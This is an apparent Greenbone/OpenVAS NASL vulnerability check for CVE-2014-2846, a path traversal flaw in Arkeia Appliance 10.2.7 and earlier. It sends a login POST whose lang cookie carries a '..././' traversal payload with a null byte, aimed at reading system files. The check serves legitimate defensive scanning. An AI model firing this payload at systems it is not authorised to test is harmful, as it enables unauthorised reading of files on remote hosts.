Arkeia Appliance <= 10.2.7 Path Traversal Vulnerability - Active Check

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:knox_software:arkeia_appliance";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105011");
  script_version("2026-03-17T05:57:28+0000");
  script_cve_id("CVE-2014-2846");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2026-03-17 05:57:28 +0000 (Tue, 17 Mar 2026)");
  script_tag(name:"creation_date", value:"2014-04-23 13:16:06 +0200 (Wed, 23 Apr 2014)");
  script_name("Arkeia Appliance <= 10.2.7 Path Traversal Vulnerability - Active Check");

  script_tag(name:"summary", value:"Arkeia Appliance is affected by a path traversal vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted HTTP POST request and check is it possible to read
  a system file.");

  script_tag(name:"solution", value:"Updates are available. Please see the references for more information.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"insight", value:"Path traversal enables attackers access to files and directories outside the
  web root through relative file paths in the user input.");

  script_tag(name:"affected", value:"Arkeia Appliance version 10.2.7 and prior.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to perform directory
  traversal attacks and read arbitrary files on the affected application.");

  script_xref(name:"URL", value:"https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140423-0_WD_Arkeia_Path_Traversal_v10.txt");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/67039");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_arkeia_virtual_appliance_detect.nasl", "os_detection.nasl");
  script_mandatory_keys("ArkeiaAppliance/installed", "Host/runs_unixoide");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
include("traversal_func.inc");

if( ! port = get_app_port( cpe:CPE, service:"www") )
  exit( 0 );

if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
  exit( 0 );

files = traversal_files( "linux" );
vtstrings = get_vt_strings();
vtstring_lower = vtstrings["lowercase"];

host = http_host_name(port:port);

foreach pattern( keys( files ) ) {

  file = files[pattern];

  req = 'POST /login/doLogin HTTP/1.0\r\n' +
        'Host: ' + host + '\r\n' +
        'Cookie: lang=aaa..././..././..././..././..././..././' + file + '%00\r\n' +
        'Content-Length: 33\r\n' +
        'Content-Type: application/x-www-form-urlencoded\r\n' +
        '\r\n' +
        'password=' + vtstring_lower + '&username=' + vtstring_lower;
  res = http_send_recv( port:port, data:req, bodyonly:FALSE );

  if( res && egrep( string:res, pattern:pattern ) ) {
    security_message( port:port );
    exit( 0 );
  }
}

exit( 99 );